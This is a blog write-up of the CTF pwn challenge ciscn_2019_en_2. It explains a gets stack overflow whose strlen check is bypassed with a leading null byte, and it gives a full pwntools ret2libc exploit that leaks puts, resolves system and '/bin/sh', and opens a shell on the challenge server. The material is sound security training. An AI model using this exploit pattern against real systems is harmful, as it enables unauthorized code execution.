当前位置:网站首页>ciscn_2019_en_2
ciscn_2019_en_2
2022-06-25 22:35:00 【[mzq]】
ciscn_2019_en_2
题目地址 : https://buuoj.cn/challenges#ciscn_2019_en_2
main函数
主要是进行表单选项展示和选择,根据123来进行选项操作,关键的是encrypt函数
encrypt函数
这个函数是关键利用点
gets
无限溢出,strlen
对长度进行检查,但是可以被\x00
绕过,然后这个函数是对输入的字符进行异或这并没有什么影响
但是程序中并无后门函数,这就需要我们泄漏libc中的system函数的地址和\bin\sh的地址来构造rop
exp
from pwn import *
from LibcSearcher import LibcSearcher
io = process('./ciscn_2019_en_2')
io = remote("node4.buuoj.cn",29425)
elf = ELF('./ciscn_2019_en_2')
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
_start_addr = elf.symbols['_start']
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
payload = b'\x00'+b'a'*87+p64(pop_rdi)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(_start_addr)
io.sendlineafter('Input your choice!\n','1')
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()
io.recvline()
#puts_addr=u64(io.recv()[0:8])
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print hex(puts_addr)
#libc = LibcSearcher('puts',puts_addr)
#libcbase = puts_addr - libc.dump('puts')
#print libcbase
#system_addr = libcbase + libc.dump('system')
#binsh_addr = libcbase + libc.dump('str_bin_sh')
libc = ELF("libc-2.27.so")
offset = puts_addr - libc.symbols["puts"]
system_addr = libc.symbols["system"] + offset
binsh_addr = next(libc.search("/bin/sh")) + offset
payload = b'\x00'+b'a'*87 + p64(pop_rdi) + p64(binsh_addr)+p64(ret)+p64(system_addr)+p64(0)
io.sendline('1')
io.recv()
io.sendline(payload)
io.interactive()
边栏推荐
- 被新冠后遗症困住15个月后,斯坦福学霸被迫缺席毕业典礼,现仍需每天卧床16小时:我本该享受20岁的人生啊...
- 11.1.1 overview of Flink_ Flink overview
- Servlet response download file
- Display unassigned virtual address after easyconnect connection
- Graduation season | fitting the best self in continuous exploration
- 深圳台电:联合国的“沟通”之道
- Setting up a cluster environment under Linux (2) -- installing MySQL under Linux
- Xiaohongshu microservice framework and governance and other cloud native business architecture evolution cases
- 1-9Vmware中网络配置
- QT custom QSlider with cursor
猜你喜欢
What is micro service
Drag the mouse to rotate the display around an object
DPVS fullnat mode management
When installing PSU /usr/bin/ld:warning: -z lazload ignore
Research and development practice of Kwai real-time data warehouse support system
The development context of Ba Kong Yuan universe industry
Introduction to anchor free decision
Compile the telegraph desktop side (tdesktop) using vs2022
Camkiia et gcamp6f sont - ils les mêmes?
Analyze the five root causes of product development failure
随机推荐
基于OpenVINOTM开发套件“无缝”部署PaddleNLP模型
Is camkiia the same as gcamp6f?
深圳台电:联合国的“沟通”之道
Explain the synchronize keyword
leetcode. 14 --- longest public prefix
JS to input the start time and end time, output the number of seasons, and print the corresponding month and year
Flink reports error: a JNI error has occurred, please check your installation and try again
2021-04-28
Summary of common terms and knowledge in SMT chip processing industry
Logstash discards log data that does not match the file name exactly
When installing PSU /usr/bin/ld:warning: -z lazload ignore
Qt优秀开源项目之九:qTox
性能领跑云原生数据库市场!英特尔携腾讯共建云上技术生态
Compile the telegraph desktop side (tdesktop) using vs2022
Use Coe_ load_ sql_ profile. SQL fixed execution plan
DBCA silent installation and database building
QT custom QSlider with cursor
SQL按某字段去重 保留按某个字段排序最大值
No executorfactory found to execute the application
Run the test program using rknn-toolkit-lite2 for rk3568 development board